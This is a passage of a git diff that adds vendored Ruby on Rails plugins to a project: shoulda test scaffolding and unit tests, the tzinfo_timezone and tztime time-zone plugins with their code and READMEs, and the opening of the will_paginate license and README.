b/vendor/plugins/shoulda/test/rails_root/script/process/inspector @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/process/inspector' diff --git a/vendor/plugins/shoulda/test/rails_root/script/process/reaper b/vendor/plugins/shoulda/test/rails_root/script/process/reaper new file mode 100755 index 0000000..c77f045 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/process/reaper @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/process/reaper' diff --git a/vendor/plugins/shoulda/test/rails_root/script/process/spawner b/vendor/plugins/shoulda/test/rails_root/script/process/spawner new file mode 100755 index 0000000..7118f39 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/process/spawner @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../../config/boot' +require 'commands/process/spawner' diff --git a/vendor/plugins/shoulda/test/rails_root/script/runner b/vendor/plugins/shoulda/test/rails_root/script/runner new file mode 100755 index 0000000..ccc30f9 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/runner @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/runner' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/rails_root/script/server b/vendor/plugins/shoulda/test/rails_root/script/server new file mode 100755 index 0000000..dfabcb8 --- /dev/null +++ b/vendor/plugins/shoulda/test/rails_root/script/server @@ -0,0 +1,3 @@ +#!/usr/bin/env ruby +require File.dirname(__FILE__) + '/../config/boot' +require 'commands/server' \ No newline at end of file diff --git a/vendor/plugins/shoulda/test/test_helper.rb b/vendor/plugins/shoulda/test/test_helper.rb new file mode 100644 index 0000000..1f24e47 --- /dev/null +++ b/vendor/plugins/shoulda/test/test_helper.rb @@ -0,0 +1,35 @@ +require 'fileutils' +# Load the environment +ENV['RAILS_ENV'] = 'sqlite3' + +# ln rails_root/vendor/plugins/shoulda => ../../../../ +rails_root = File.dirname(__FILE__) + '/rails_root' + +FileUtils.ln_s('../../../../', "#{rails_root}/vendor/plugins/shoulda") unless File.exists?("#{rails_root}/vendor/plugins/shoulda") + +require "#{rails_root}/config/environment.rb" + +# Load the testing framework +require 'test_help' +silence_warnings { RAILS_ENV = ENV['RAILS_ENV'] } + +# Run the migrations +ActiveRecord::Migration.verbose = false +ActiveRecord::Migrator.migrate("#{RAILS_ROOT}/db/migrate") + +# Setup the fixtures path +Test::Unit::TestCase.fixture_path = File.join(File.dirname(__FILE__), "fixtures") +# $LOAD_PATH.unshift(Test::Unit::TestCase.fixture_path) + +class Test::Unit::TestCase #:nodoc: + def create_fixtures(*table_names) + if block_given? + Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) { yield } + else + Fixtures.create_fixtures(Test::Unit::TestCase.fixture_path, table_names) + end + end + + self.use_transactional_fixtures = false + self.use_instantiated_fixtures = false +end diff --git a/vendor/plugins/shoulda/test/unit/dog_test.rb b/vendor/plugins/shoulda/test/unit/dog_test.rb new file mode 100644 index 0000000..390d142 --- /dev/null +++ b/vendor/plugins/shoulda/test/unit/dog_test.rb @@ -0,0 +1,6 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class DogTest < Test::Unit::TestCase + load_all_fixtures + should_belong_to :user +end diff --git a/vendor/plugins/shoulda/test/unit/post_test.rb b/vendor/plugins/shoulda/test/unit/post_test.rb new file mode 100644 index 0000000..9905147 --- /dev/null +++ b/vendor/plugins/shoulda/test/unit/post_test.rb @@ -0,0 +1,14 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class PostTest < Test::Unit::TestCase + load_all_fixtures + + should_belong_to :user + should_belong_to :owner + should_have_many :tags, :through => :taggings + + should_require_unique_attributes :title + should_require_attributes :body, :message => /wtf/ + should_require_attributes :title + should_only_allow_numeric_values_for :user_id +end diff --git a/vendor/plugins/shoulda/test/unit/tag_test.rb b/vendor/plugins/shoulda/test/unit/tag_test.rb new file mode 100644 index 0000000..4b0f8a2 --- /dev/null +++ b/vendor/plugins/shoulda/test/unit/tag_test.rb @@ -0,0 +1,8 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class TagTest < Test::Unit::TestCase + load_all_fixtures + + should_have_many :taggings + should_have_many :posts +end diff --git a/vendor/plugins/shoulda/test/unit/tagging_test.rb b/vendor/plugins/shoulda/test/unit/tagging_test.rb new file mode 100644 index 0000000..dc0de10 --- /dev/null +++ b/vendor/plugins/shoulda/test/unit/tagging_test.rb @@ -0,0 +1,8 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class TaggingTest < Test::Unit::TestCase + load_all_fixtures + + should_belong_to :post + should_belong_to :tag +end diff --git a/vendor/plugins/shoulda/test/unit/user_test.rb b/vendor/plugins/shoulda/test/unit/user_test.rb new file mode 100644 index 0000000..2f0bc4b --- /dev/null +++ b/vendor/plugins/shoulda/test/unit/user_test.rb @@ -0,0 +1,20 @@ +require File.dirname(__FILE__) + '/../test_helper' + +class UserTest < Test::Unit::TestCase + load_all_fixtures + + should_have_many :posts + should_have_many :dogs + + should_not_allow_values_for :email, "blah", "b lah" + should_allow_values_for :email, "a@b.com", "asdf@asdf.com" + should_ensure_length_in_range :email, 1..100 + should_ensure_value_in_range :age, 1..100 + should_protect_attributes :password + should_have_class_methods :find, :destroy + should_have_instance_methods :email, :age, :email=, :valid? + should_have_db_columns :name, :email, :age + should_have_db_column :id, :type => "integer", :primary => true + should_have_db_column :email, :type => "string", :default => nil, :precision => nil, :limit => 255, + :null => true, :primary => false, :scale => nil, :sql_type => 'varchar(255)' +end diff --git a/vendor/plugins/tzinfo_timezone/README b/vendor/plugins/tzinfo_timezone/README new file mode 100644 index 0000000..8074758 --- /dev/null +++ b/vendor/plugins/tzinfo_timezone/README @@ -0,0 +1,20 @@ +TZInfo Timezone +=============== + +This plugin installs a replacement for the TimeZone class. The replacement +uses the TZInfo library (http://tzinfo.rubyforge.org) to do the time zone +conversions, and thus takes into account daylight saving, for free. + +It is not a 100%-compatible replacement, however. If you use TimeZone#unadjust +anywhere, you'll need to replace those calls, possibly with #local_to_utc. +Also, the #adjust method is deprecated--it is better (and easier to read) if +you use the #utc_to_local method instead. + +Note that you will need to have the tzinfo library installed separately--it is +not bundled with this plugin. You can easily install tzinfo as a gem: + + gem install tzinfo + +--------------- +Copyright (c) 2006 Jamis Buck (jamis@37signals.com) +released under the MIT license \ No newline at end of file diff --git a/vendor/plugins/tzinfo_timezone/Rakefile b/vendor/plugins/tzinfo_timezone/Rakefile new file mode 100644 index 0000000..d770b33 --- /dev/null +++ b/vendor/plugins/tzinfo_timezone/Rakefile @@ -0,0 +1,22 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +desc 'Default: run unit tests.' +task :default => :test + +desc 'Test the tzinfo_timezone plugin.' +Rake::TestTask.new(:test) do |t| + t.libs << 'lib' + t.pattern = 'test/**/*_test.rb' + t.verbose = true +end + +desc 'Generate documentation for the tzinfo_timezone plugin.' +Rake::RDocTask.new(:rdoc) do |rdoc| + rdoc.rdoc_dir = 'rdoc' + rdoc.title = 'TzinfoTimezone' + rdoc.options << '--line-numbers' << '--inline-source' + rdoc.rdoc_files.include('README') + rdoc.rdoc_files.include('lib/**/*.rb') +end diff --git a/vendor/plugins/tzinfo_timezone/init.rb b/vendor/plugins/tzinfo_timezone/init.rb new file mode 100644 index 0000000..d559b69 --- /dev/null +++ b/vendor/plugins/tzinfo_timezone/init.rb @@ -0,0 +1,7 @@ +require 'tzinfo_timezone' + +# remove the existing TimeZone constant +Object.send(:remove_const, :TimeZone) + +# Use TzinfoTimezone as the TimeZone class +Object::TimeZone = TzinfoTimezone \ No newline at end of file diff --git a/vendor/plugins/tzinfo_timezone/lib/tzinfo_timezone.rb b/vendor/plugins/tzinfo_timezone/lib/tzinfo_timezone.rb new file mode 100644 index 0000000..43951b5 --- /dev/null +++ b/vendor/plugins/tzinfo_timezone/lib/tzinfo_timezone.rb @@ -0,0 +1,330 @@ +require 'tzinfo' + +class TzinfoTimezone + MAPPING = { + "International Date Line West" => "Pacific/Midway", + "Midway Island" => "Pacific/Midway", + "Samoa" => "Pacific/Pago_Pago", + "Hawaii" => "Pacific/Honolulu", + "Alaska" => "America/Juneau", + "Pacific Time (US & Canada)" => "America/Los_Angeles", + "Tijuana" => "America/Tijuana", + "Mountain Time (US & Canada)" => "America/Denver", + "Arizona" => "America/Phoenix", + "Chihuahua" => "America/Chihuahua", + "Mazatlan" => "America/Mazatlan", + "Central Time (US & Canada)" => "America/Chicago", + "Saskatchewan" => "America/Regina", + "Guadalajara" => "America/Mexico_City", + "Mexico City" => "America/Mexico_City", + "Monterrey" => "America/Monterrey", + "Central America" => "America/Guatemala", + "Eastern Time (US & Canada)" => "America/New_York", + "Indiana (East)" => "America/Indiana/Indianapolis", + "Bogota" => "America/Bogota", + "Lima" => "America/Lima", + "Quito" => "America/Lima", + "Atlantic Time (Canada)" => "America/Halifax", + "Caracas" => "America/Caracas", + "La Paz" => "America/La_Paz", + "Santiago" => "America/Santiago", + "Newfoundland" => "America/St_Johns", + "Brasilia" => "America/Argentina/Buenos_Aires", + "Buenos Aires" => "America/Argentina/Buenos_Aires", + "Georgetown" => "America/Argentina/San_Juan", + "Greenland" => "America/Godthab", + "Mid-Atlantic" => "Atlantic/South_Georgia", + "Azores" => "Atlantic/Azores", + "Cape Verde Is." => "Atlantic/Cape_Verde", + "Dublin" => "Europe/Dublin", + "Edinburgh" => "Europe/Dublin", + "Lisbon" => "Europe/Lisbon", + "London" => "Europe/London", + "Casablanca" => "Africa/Casablanca", + "Monrovia" => "Africa/Monrovia", + "Belgrade" => "Europe/Belgrade", + "Bratislava" => "Europe/Bratislava", + "Budapest" => "Europe/Budapest", + "Ljubljana" => "Europe/Ljubljana", + "Prague" => "Europe/Prague", + "Sarajevo" => "Europe/Sarajevo", + "Skopje" => "Europe/Skopje", + "Warsaw" => "Europe/Warsaw", + "Zagreb" => "Europe/Zagreb", + "Brussels" => "Europe/Brussels", + "Copenhagen" => "Europe/Copenhagen", + "Madrid" => "Europe/Madrid", + "Paris" => "Europe/Paris", + "Amsterdam" => "Europe/Amsterdam", + "Berlin" => "Europe/Berlin", + "Bern" => "Europe/Berlin", + "Rome" => "Europe/Rome", + "Stockholm" => "Europe/Stockholm", + "Vienna" => "Europe/Vienna", + "West Central Africa" => "Africa/Algiers", + "Bucharest" => "Europe/Bucharest", + "Cairo" => "Africa/Cairo", + "Helsinki" => "Europe/Helsinki", + "Kyev" => "Europe/Kiev", + "Riga" => "Europe/Riga", + "Sofia" => "Europe/Sofia", + "Tallinn" => "Europe/Tallinn", + "Vilnius" => "Europe/Vilnius", + "Athens" => "Europe/Athens", + "Istanbul" => "Europe/Istanbul", + "Minsk" => "Europe/Minsk", + "Jerusalem" => "Asia/Jerusalem", + "Harare" => "Africa/Harare", + "Pretoria" => "Africa/Johannesburg", + "Moscow" => "Europe/Moscow", + "St. Petersburg" => "Europe/Moscow", + "Volgograd" => "Europe/Moscow", + "Kuwait" => "Asia/Kuwait", + "Riyadh" => "Asia/Riyadh", + "Nairobi" => "Africa/Nairobi", + "Baghdad" => "Asia/Baghdad", + "Tehran" => "Asia/Tehran", + "Abu Dhabi" => "Asia/Muscat", + "Muscat" => "Asia/Muscat", + "Baku" => "Asia/Baku", + "Tbilisi" => "Asia/Tbilisi", + "Yerevan" => "Asia/Yerevan", + "Kabul" => "Asia/Kabul", + "Ekaterinburg" => "Asia/Yekaterinburg", + "Islamabad" => "Asia/Karachi", + "Karachi" => "Asia/Karachi", + "Tashkent" => "Asia/Tashkent", + "Chennai" => "Asia/Calcutta", + "Kolkata" => "Asia/Calcutta", + "Mumbai" => "Asia/Calcutta", + "New Delhi" => "Asia/Calcutta", + "Kathmandu" => "Asia/Katmandu", + "Astana" => "Asia/Dhaka", + "Dhaka" => "Asia/Dhaka", + "Sri Jayawardenepura" => "Asia/Dhaka", + "Almaty" => "Asia/Almaty", + "Novosibirsk" => "Asia/Novosibirsk", + "Rangoon" => "Asia/Rangoon", + "Bangkok" => "Asia/Bangkok", + "Hanoi" => "Asia/Bangkok", + "Jakarta" => "Asia/Jakarta", + "Krasnoyarsk" => "Asia/Krasnoyarsk", + "Beijing" => "Asia/Shanghai", + "Chongqing" => "Asia/Chongqing", + "Hong Kong" => "Asia/Hong_Kong", + "Urumqi" => "Asia/Urumqi", + "Kuala Lumpur" => "Asia/Kuala_Lumpur", + "Singapore" => "Asia/Singapore", + "Taipei" => "Asia/Taipei", + "Perth" => "Australia/Perth", + "Irkutsk" => "Asia/Irkutsk", + "Ulaan Bataar" => "Asia/Ulaanbaatar", + "Seoul" => "Asia/Seoul", + "Osaka" => "Asia/Tokyo", + "Sapporo" => "Asia/Tokyo", + "Tokyo" => "Asia/Tokyo", + "Yakutsk" => "Asia/Yakutsk", + "Darwin" => "Australia/Darwin", + "Adelaide" => "Australia/Adelaide", + "Canberra" => "Australia/Melbourne", + "Melbourne" => "Australia/Melbourne", + "Sydney" => "Australia/Sydney", + "Brisbane" => "Australia/Brisbane", + "Hobart" => "Australia/Hobart", + "Vladivostok" => "Asia/Vladivostok", + "Guam" => "Pacific/Guam", + "Port Moresby" => "Pacific/Port_Moresby", + "Magadan" => "Asia/Magadan", + "Solomon Is." => "Asia/Magadan", + "New Caledonia" => "Pacific/Noumea", + "Fiji" => "Pacific/Fiji", + "Kamchatka" => "Asia/Kamchatka", + "Marshall Is." => "Pacific/Majuro", + "Auckland" => "Pacific/Auckland", + "Wellington" => "Pacific/Auckland", + "Nuku'alofa" => "Pacific/Tongatapu" + } + + attr_reader :name, :utc_offset + + # Create a new TzinfoTimezone object with the given name and offset. The + # offset is the number of seconds that this time zone is offset from UTC + # (GMT). Seconds were chosen as the offset unit because that is the unit that + # Ruby uses to represent time zone offsets (see Time#utc_offset). + def initialize(name, utc_offset) + @name = name + @utc_offset = utc_offset + end + + # Returns the offset of this time zone as a formatted string, of the + # format "+HH:MM". If the offset is zero, this returns the empty + # string. If +colon+ is false, a colon will not be inserted into the + # result. + def formatted_offset(colon=true) + utc_offset == 0 ? '' : offset(colon) + end + + # Returns the offset of this time zone as a formatted string, of the + # format "+HH:MM". + def offset(colon=true) + sign = (utc_offset < 0 ? -1 : 1) + hours = utc_offset.abs / 3600 + minutes = (utc_offset.abs % 3600) / 60 + "%+03d%s%02d" % [ hours * sign, colon ? ":" : "", minutes ] + end + + # Compute and return the current time, in the time zone represented by + # +self+. + def now + tzinfo.now + end + + # Return the current date in this time zone. + def today + now.to_date + end + + # Adjust the given time to the time zone represented by +self+. + def utc_to_local(time) + tzinfo.utc_to_local(time) + end + + def local_to_utc(time, dst=true) + tzinfo.local_to_utc(time, dst) + end + + # Adjust the given time to the time zone represented by +self+. + # (Deprecated--use utc_to_local, instead.) + alias :adjust :utc_to_local + + # Compare this time zone to the parameter. The two are comapred first on + # their offsets, and then by name. + def <=>(zone) + result = (utc_offset <=> zone.utc_offset) + result = (name <=> zone.name) if result == 0 + result + end + + # Returns a textual representation of this time zone. + def to_s + "(GMT#{formatted_offset}) #{name}" + end + + def tzinfo + return @tzinfo if @tzinfo + @tzinfo = MAPPING[name] + if String === @tzinfo + @tzinfo = TZInfo::Timezone.get(@tzinfo) + MAPPING[name] = @tzinfo + end + @tzinfo + end + + @@zones = nil + + class << self + alias_method :create, :new + + # Return a TzinfoTimezone instance with the given name, or +nil+ if no + # such TzinfoTimezone instance exists. (This exists to support the use of + # this class with the #composed_of macro.) + def new(name) + self[name] + end + + # Return an array of all TzinfoTimezone objects. There are multiple + # TzinfoTimezone objects per time zone, in many cases, to make it easier + # for users to find their own time zone. + def all + unless @@zones + @@zones = [] + @@zones_map = {} + [[-39_600, "International Date Line West", "Midway Island", "Samoa" ], + [-36_000, "Hawaii" ], + [-32_400, "Alaska" ], + [-28_800, "Pacific Time (US & Canada)", "Tijuana" ], + [-25_200, "Mountain Time (US & Canada)", "Chihuahua", "Mazatlan", + "Arizona" ], + [-21_600, "Central Time (US & Canada)", "Saskatchewan", "Guadalajara", + "Mexico City", "Monterrey", "Central America" ], + [-18_000, "Eastern Time (US & Canada)", "Indiana (East)", "Bogota", + "Lima", "Quito" ], + [-14_400, "Atlantic Time (Canada)", "Caracas", "La Paz", "Santiago" ], + [-12_600, "Newfoundland" ], + [-10_800, "Brasilia", "Buenos Aires", "Georgetown", "Greenland" ], + [ -7_200, "Mid-Atlantic" ], + [ -3_600, "Azores", "Cape Verde Is." ], + [ 0, "Dublin", "Edinburgh", "Lisbon", "London", "Casablanca", + "Monrovia" ], + [ 3_600, "Belgrade", "Bratislava", "Budapest", "Ljubljana", "Prague", + "Sarajevo", "Skopje", "Warsaw", "Zagreb", "Brussels", + "Copenhagen", "Madrid", "Paris", "Amsterdam", "Berlin", + "Bern", "Rome", "Stockholm", "Vienna", + "West Central Africa" ], + [ 7_200, "Bucharest", "Cairo", "Helsinki", "Kyev", "Riga", "Sofia", + "Tallinn", "Vilnius", "Athens", "Istanbul", "Minsk", + "Jerusalem", "Harare", "Pretoria" ], + [ 10_800, "Moscow", "St. Petersburg", "Volgograd", "Kuwait", "Riyadh", + "Nairobi", "Baghdad" ], + [ 12_600, "Tehran" ], + [ 14_400, "Abu Dhabi", "Muscat", "Baku", "Tbilisi", "Yerevan" ], + [ 16_200, "Kabul" ], + [ 18_000, "Ekaterinburg", "Islamabad", "Karachi", "Tashkent" ], + [ 19_800, "Chennai", "Kolkata", "Mumbai", "New Delhi" ], + [ 20_700, "Kathmandu" ], + [ 21_600, "Astana", "Dhaka", "Sri Jayawardenepura", "Almaty", + "Novosibirsk" ], + [ 23_400, "Rangoon" ], + [ 25_200, "Bangkok", "Hanoi", "Jakarta", "Krasnoyarsk" ], + [ 28_800, "Beijing", "Chongqing", "Hong Kong", "Urumqi", + "Kuala Lumpur", "Singapore", "Taipei", "Perth", "Irkutsk", + "Ulaan Bataar" ], + [ 32_400, "Seoul", "Osaka", "Sapporo", "Tokyo", "Yakutsk" ], + [ 34_200, "Darwin", "Adelaide" ], + [ 36_000, "Canberra", "Melbourne", "Sydney", "Brisbane", "Hobart", + "Vladivostok", "Guam", "Port Moresby" ], + [ 39_600, "Magadan", "Solomon Is.", "New Caledonia" ], + [ 43_200, "Fiji", "Kamchatka", "Marshall Is.", "Auckland", + "Wellington" ], + [ 46_800, "Nuku'alofa" ]]. + each do |offset, *places| + places.each do |place| + zone = create(place, offset) + @@zones << zone + @@zones_map[place] = zone + end + end + @@zones.sort! + end + @@zones + end + + # Locate a specific time zone object. If the argument is a string, it + # is interpreted to mean the name of the timezone to locate. If it is a + # numeric value it is either the hour offset, or the second offset, of the + # timezone to find. (The first one with that offset will be returned.) + # Returns +nil+ if no such time zone is known to the system. + def [](arg) + case arg + when String + all # force the zones to be loaded + @@zones_map[arg] + when Numeric + arg *= 3600 if arg.abs <= 13 + all.find { |z| z.utc_offset == arg.to_i } + else + raise ArgumentError, "invalid argument to TzinfoTimezone[]: #{arg.inspect}" + end + end + + # A regular expression that matches the names of all time zones in + # the USA. + US_ZONES = /US|Arizona|Indiana|Hawaii|Alaska/ + + # A convenience method for returning a collection of TzinfoTimezone objects + # for time zones in the USA. + def us_zones + all.find_all { |z| z.name =~ US_ZONES } + end + end +end diff --git a/vendor/plugins/tzinfo_timezone/test/tzinfo_timezone_test.rb b/vendor/plugins/tzinfo_timezone/test/tzinfo_timezone_test.rb new file mode 100644 index 0000000..90fd65d --- /dev/null +++ b/vendor/plugins/tzinfo_timezone/test/tzinfo_timezone_test.rb @@ -0,0 +1,23 @@ +require 'test/unit' +require 'tzinfo_timezone' + +class TzinfoTimezoneTest < Test::Unit::TestCase + TzinfoTimezone::MAPPING.keys.each do |name| + define_method("test_map_#{name.downcase.gsub(/[^a-z]/, '_')}_to_tzinfo") do + zone = TzinfoTimezone[name] + assert_not_nil zone.tzinfo + end + end + + TzinfoTimezone.all.each do |zone| + name = zone.name.downcase.gsub(/[^a-z]/, '_') + define_method("test_from_#{name}_to_map") do + assert_not_nil TzinfoTimezone[zone.name] + end + + define_method("test_utc_offset_for_#{name}") do + period = zone.tzinfo.period_for_utc(Time.utc(2006,1,1,0,0,0)) + assert_equal period.utc_offset, zone.utc_offset + end + end +end diff --git a/vendor/plugins/tztime/README b/vendor/plugins/tztime/README new file mode 100644 index 0000000..007ebc2 --- /dev/null +++ b/vendor/plugins/tztime/README @@ -0,0 +1,52 @@ +TzTime +====== + +[Boring Introduction] + +TzTime is a wrapper for the Time class. It associates a time instance with a time zone, and keeps the two together. It quacks very much like a Time instance, and even provides the same extension methods that Rails adds to time objects. + +By combining the time and the time zone in a single time-like class, you can simplify much of the time-zone gymnastics that you were previously forced to do. + +[Exciting Introduction] + +TzTime is subversive. It even _sounds_ subversive, like sharp incisors snicking together in the dark. It sneaks into your app from the inside and stuffs time zone support into the cracks. It's like a little ruby-colored rat, poking around in the under-basement of your code, but instead of chewing away at the infrastructure with its sharp little teeth (and believe me, they _are_ sharp), it builds fluffy (and oh, so comfortable!) little time-zone flavored nests wherever it can. + +This look familiar? + + class TasksController < ApplicationController + def create + task = account.tasks.build(params[:task]) + task.alert_at = current_user.time_zone.local_to_utc(task.alert_at) + task.save! + end + end + +Oh, that awful bloating sensation! Because the time zone is not globally accessible, you have to jump through hoop and ungainly hoop in your controllers...or pass the unfortunate time zone to method after method. + +No more! Let the Rodent of Unusually Fine TZ Acumen aid you: + + class ApplicationController < ActionController:Base + around_filter :set_timezone + + private + + def set_timezone + TzTime.zone = current_user.time_zone + yield + TzTime.reset! + end + end + + class Task < ActiveRecord::Base + tz_time_attributes :alert_at + end + + class TasksController < ApplicationController + def create + task = account.tasks.create(params[:task]) + end + end + +Let the rat cart the time-zone around for you! Refactor those nasty time zone conversions into your model, where they belong. Soar through the heady winds of your application's stratosphere, comfortable in the knowledge that you have helpful little rats scurrying about in the dark. + +Or maybe they're gnomes. diff --git a/vendor/plugins/tztime/init.rb b/vendor/plugins/tztime/init.rb new file mode 100644 index 0000000..8ba1741 --- /dev/null +++ b/vendor/plugins/tztime/init.rb @@ -0,0 +1 @@ +ActiveRecord::Base.extend TzTimeHelpers::ActiveRecordMethods \ No newline at end of file diff --git a/vendor/plugins/tztime/lib/tz_time.rb b/vendor/plugins/tztime/lib/tz_time.rb new file mode 100644 index 0000000..e068a5a --- /dev/null +++ b/vendor/plugins/tztime/lib/tz_time.rb @@ -0,0 +1,166 @@ +# --------------------------------------------------------------------------- +# Copyright (c) 2007, 37signals +# +# Permission is hereby granted, free of charge, to any person obtaining +# a copy of this software and associated documentation files (the +# "Software"), to deal in the Software without restriction, including +# without limitation the rights to use, copy, modify, merge, publish, +# distribute, sublicense, and/or sell copies of the Software, and to +# permit persons to whom the Software is furnished to do so, subject to +# the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF +# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE +# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION +# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION +# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. +# --------------------------------------------------------------------------- + +# A wrapper class that quacks like a Time instance, but which remembers its +# local time zone. Most operations work like normal, but some will automatically +# convert the object to utc, like #to_s(:db). +class TzTime + include Comparable + + # Like the Time class, the TzTime class is its own factory. You will almost + # never create a TzTime instance via +new+. Instead, you will use something + # like TzTime.now (etc.) + class <(value) + time.to_time <=> value.to_time + end + + # This TzTime object always represents the local time in the associated + # timezone. Thus, #utc? should always return false, unless the zone is the + # UTC zone. + def utc? + zone.name == "UTC" + end + + # Returns the underlying TZInfo::TimeZonePeriod instance for the wrapped + # time. + def period(dst=true) + t = time + begin + @period ||= zone.tzinfo.period_for_local(t, dst) + rescue TZInfo::PeriodNotFound + t -= 1.hour + retry + end + end + + # Returns true if the current time is adjusted for daylight savings. + def dst? + period.dst? + end + + # Returns a string repersentation of the time. For the specific case where + # +mode+ is :db or :rfc822, this will return the UTC + # representation of the time. All other conversions will use the local time. + def to_s(mode = :normal) + case mode + when :db, :rfc822 then utc.to_s(mode) + else time.to_s(mode) + end + end + + # Return a reasonable representation of this TzTime object for inspection. + def inspect + "#{time.strftime("%Y-%m-%d %H:%M:%S")} #{period.abbreviation}" + end + + # Because of the method_missing proxy, we want to make sure we report this + # object as responding to a method as long as the method is defined directly + # on TzTime, or if the underlying Time instance responds to the method. + def respond_to?(sym) #:nodoc: + super || @time.respond_to?(sym) + end + + # Proxy anything else through to the underlying Time instance. + def method_missing(sym, *args, &block) #:nodoc: + result = @time.send(sym, *args, &block) + result = TzTime.new(result, zone) if result.is_a? Time + result + end +end diff --git a/vendor/plugins/tztime/lib/tz_time_helpers/active_record_methods.rb b/vendor/plugins/tztime/lib/tz_time_helpers/active_record_methods.rb new file mode 100644 index 0000000..172b933 --- /dev/null +++ b/vendor/plugins/tztime/lib/tz_time_helpers/active_record_methods.rb @@ -0,0 +1,35 @@ +module TzTimeHelpers + module ActiveRecordMethods + # Adds the given list of attributes to a class inheritable array #tz_time_attributes. + # All the attributes will have their timezones fixed in a before_save callback, and + # will have a getter method created that converts UTC times from the database into a local + # TzTime. The getter method is important because TzTime values are saved to the database + # as UTC. The getter lets you access the local time without changing your application. + def tz_time_attributes(*attributes) + class_inheritable_array :tz_time_attributes, :instance_writer => false + self.tz_time_attributes = attributes + class_eval do + attributes.each do |attribute| + define_method attribute do + time = read_attribute(attribute) + if (time.acts_like?(:time) || time.acts_like?(:date)) && time.utc? + write_attribute(attribute, TzTime.at(Time.at(TzTime.zone.utc_to_local(time)))) + else + time + end + end + end + + protected + def fix_timezone + tz_time_attributes.each do |attribute| + time = read_attribute(attribute) + fixed = (time.acts_like?(:time) || time.acts_like?(:date)) ? TzTime.at(time) : nil + write_attribute(attribute, fixed) + end + end + end + before_validation :fix_timezone + end + end +end \ No newline at end of file diff --git a/vendor/plugins/tztime/test/active_record_methods_test.rb b/vendor/plugins/tztime/test/active_record_methods_test.rb new file mode 100644 index 0000000..dffd629 --- /dev/null +++ b/vendor/plugins/tztime/test/active_record_methods_test.rb @@ -0,0 +1,40 @@ +require File.join(File.dirname(__FILE__), '../../../../config/environment') +require 'rubygems' +require 'test/unit' + +class MockRecord + attr_writer :due_on + def self.before_validation(*args) nil end + + protected + def read_attribute(attribute) + instance_variable_get("@#{attribute}") + end + + def write_attribute(attribute, value) + instance_variable_set("@#{attribute}", value) + end +end + +MockRecord.extend TzTimeHelpers::ActiveRecordMethods +MockRecord.tz_time_attributes :due_on + +module TzTimeHelpers + class ActiveRecordMethodsTest < Test::Unit::TestCase + def setup + TzTime.zone = TimeZone["Central Time (US & Canada)"] + @record = MockRecord.new + end + + def test_should_access_utc_time_as_local_with_getter_method + @record.due_on = Time.utc(2006, 1, 1) + assert_equal @record.due_on, TzTime.local(2005, 12, 31, 18) + end + + def test_should_fix_timezones + @record.due_on = Time.utc(2006, 1, 1) + @record.send :fix_timezone + assert_equal @record.due_on, TzTime.local(2006, 1, 1) + end + end +end \ No newline at end of file diff --git a/vendor/plugins/will_paginate/LICENSE b/vendor/plugins/will_paginate/LICENSE new file mode 100644 index 0000000..96a48cb --- /dev/null +++ b/vendor/plugins/will_paginate/LICENSE @@ -0,0 +1,18 @@ +Copyright (c) 2007 PJ Hyett and Mislav Marohnić + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/will_paginate/README b/vendor/plugins/will_paginate/README new file mode 100644 index 0000000..c78d389 --- /dev/null +++ b/vendor/plugins/will_paginate/README @@ -0,0 +1,171 @@ += WillPaginate + +Pagination is just limiting the number of records displayed. Why should you let +it get in your way while developing, then? This plugin makes magic happen. Did +you ever want to be able to do just this on a model: + + Post.paginate :page => 1, :order => 'created_at DESC' + +... and then render the page links with a single view helper? Well, now you +can. + +Ryan Bates made an awesome screencast[http://railscasts.com/episodes/51], +check it out. + +Your mind reels with questions? Join our Google +group[http://groups.google.com/group/will_paginate]. + +== Install the plugin + +Simply do: + + script/plugin install svn://errtheblog.com/svn/plugins/will_paginate + +Alternatively, you can add the whole Err repository to plugin sources: + + script/plugin source svn://errtheblog.com/svn/plugins + +You only have to do this once, then you can install will_paginate to each of your applications simply like this: + + script/plugin install will_paginate + +To see what other plugins are now available to you, list the newly added plugin source: + + script/plugin list 